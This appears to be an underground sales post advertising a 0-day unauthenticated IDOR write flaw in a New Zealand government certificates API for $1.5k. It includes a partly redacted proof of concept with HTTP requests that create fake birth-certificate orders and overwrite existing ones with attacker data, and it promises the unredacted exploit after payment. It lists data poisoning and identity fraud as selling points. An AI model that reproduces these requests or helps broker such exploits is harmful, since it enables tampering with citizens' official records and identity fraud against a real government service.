[marlanwg]

🔥 FOR SALE: CRITICAL 0-DAY — Unauthenticated IDOR Write on NZ Government Certificates API 🔥

Type: Broken Access Control / Missing Authentication / IDOR Write
Impact: CRITICAL (9.8) — Government Data Integrity Compromise
Target: New Zealand Government (DIA) Production API
Price:  $1,5k

---

📌 WHAT IS THIS?
An unauthenticated REST API endpoint that controls the issuance of citizen certificates (birth, marriage, etc.) for the New Zealand Government. The API is hosted on a shared Azure API Management gateway and enforces **zero authentication** — no session, no token, no API key. The only "gate" is a client-version header (`X-Version`), which is trivially extracted from the public JavaScript bundle.

---

💀 WHAT CAN YOU DO?

• Create Fake Orders: Submit real, persisted certificate orders with arbitrary citizen PII (name, DOB, birthplace) into the production database.
  
• Modify Existing Orders (IDOR Write): Update any existing order by its `referenceNumber` with **no ownership check**. Change names, dates, and order statuses at will.
  
• Data Poisoning: Corrupt the integrity of government records, causing operational disruption and potential identity fraud.
  
• Information Disclosure: Leak internal backend infrastructure (`wba-*.azurewebsites.net`) via error responses and cookies.
  

---

🔬 PROOF OF CONCEPT (REDACTED)

1. No API Key Required:

GET /certificates/v1/countries HTTP/1.1 Host: [REDACTED].azure-api.net X-Version: [REDACTED]

Response: `200 OK` (even with a bogus `Ocp-Apim-Subscription-Key`)

2. Create Order (No Auth):

POST /certificates/v1/certificate-orders HTTP/1.1 Host: [REDACTED].azure-api.net X-Version: [REDACTED] Content-Type: application/json {   "state": "prepurchase",   "evidenceOfIdentity": {     "firstNames": "John",     "surname": "Probe",     "birthDate": "1980-01-01",     "identificationMethod": "birth",     "birthPlace": "Auckland"   },   "orderItems": [{"itemType": "birthCertificate", "quantity": 1}],   "deliveryOptions": {"courierDelivery": false, "deliveryName": "John Probe"} }

Response: `200 OK` — Returns server-assigned `referenceNumber` (e.g., `[REDACTED-REF]`)

3. Update Order (IDOR Write):

PUT /certificates/v1/certificate-orders HTTP/1.1 Host: [REDACTED].azure-api.net X-Version: [REDACTED] Content-Type: application/json {   "referenceNumber": "[REDACTED-REF]",   "state": "submitted",   "evidenceOfIdentity": {     "firstNames": "HACKED",     "surname": "marlanwg",     "birthDate": "1990-01-01",     "identificationMethod": "birth",     "birthPlace": "london"   },   "orderItems": [{"itemType": "birthCertificate", "quantity": 1}],   "deliveryOptions": {"courierDelivery": false, "deliveryName": "HACKED BYMARLANWG"} }

Response: `200 OK` — Order updated with attacker-controlled data.

---

🛠️ AFFECTED ENDPOINTS

• `POST /certificates/v1/certificate-orders` — Create order (no auth)
  
• `PUT /certificates/v1/certificate-orders` — Update order (no auth, IDOR)
  
• `GET /certificates/v1/countries` — Reference data (no auth)
  
• `POST /certificates/v1/shopify/cart` — Backend path leak (no auth)
  

---

💰 TERMS

• Full unredacted PoC (URL, tenant, `referenceNumber`, backend host) provided after payment confirmation.
  
• Serious buyers only. No time wasters.
  
• Contact (Session ID): 058aa7f236de6df87aba97ae160a245ba6afcc37e9dd82d4573ec91d2a61317b42
  

#0day #IDOR #BrokenAccessControl #Critical #Government #AzureAPIM